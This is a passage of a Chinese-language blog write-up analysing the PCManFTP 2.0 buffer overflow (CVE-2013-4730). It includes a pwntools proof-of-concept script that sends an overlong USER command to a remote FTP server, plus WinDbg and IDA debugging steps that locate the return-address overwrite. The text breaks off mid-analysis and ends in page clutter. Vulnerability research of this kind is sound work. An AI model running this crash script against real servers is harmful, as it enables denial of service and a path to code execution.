PCManFTP2.0漏洞分析

本文详细分析了PCManFTP2.0 (CVE-2013-4730)的溢出漏洞,通过winDbg调试,发现该漏洞发生在函数内部的sprintf调用,导致返回地址被覆盖,可能执行任意指令。由于Windows DEP保护,作者并未绕过,而是直接利用漏洞弹出计算器。
摘要由CSDN通过智能技术生成

PCManFTP2.0 (CVE-2013-4730)漏洞分析

简介

pcManFTP是一款FTP服务器软件,它的2.0版本在接受命令时,
如果命令后的字符串过长会发生溢出,该溢出漏洞可导致执行任意机器指令。


漏洞分析环境

OS:                 Microsoft Windows 10 64bit 专业版
Software:           PCManFTP 2.0
winDbg:             6.12.2.633
IDAPro:             6.8 绿色版
python:             python 2.7

漏洞分析

参考了k0shl大佬的视频https://www.ichunqiu.com/qad/course/56129

编写了如下的python脚本用作poc,文件名:poc.py

#!/usr/bin/env python 
# coding=utf-8        
# fileName: poc.py
# usage: python poc.py ip port payloadNum

from pwn import *     
import sys            

RHOST = sys.argv[1]   
RPORT = int(sys.argv[2])
payload = cyclic(int(sys.argv[3])) #用于快速定位漏洞触发位置

r = remote(RHOST,RPORT)
print r.recv(1024)
r.send('USER '+payload+'\r\n')                                                      
print r.recv(1024)    
r.close()  

然后打开winDbg,这里使用了打开的方法调试PCManFTP2.exe,直接输入g命令执行。
然后执行如下命令运行poc.py

python poc.py 192.168.0.103 21 2048

这时由于产生了异常winDbg被断下

01

可以看到eip被覆盖为0x61616275,使用cyclic -l 0x61616275命令可得到从缓冲区到返回地址一共有2003个字节

02

下面进行分析看是哪个函数调用使缓冲区溢出了。执行kb命令可以发现,整个栈空间大都被畸形字符串覆盖了

03

这里无法通过堆栈回溯找到上层的调用。由于软件是网络软件,在接受客户端命令时可能会调用recv()的接受函数,这时打开ida加载pcmanftp搜索文本recv

04

找到了两处recv()的调用,重新打开winDbg并下这两处的断点,输入g继续执行

bp 4029d5
bp 40563e

执行poc.py,windbg断在4029d5处,在输入g继续执行发现eip又被覆盖为61616275,说明缓冲区被覆盖的位置在第一次触发断点之后,而且40563e位置的断点没有触发可以删除。再次打开winDbg下断点bp 4029d5,执行poc并断下后,查看函数参数

05

recv函数的原型是<

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值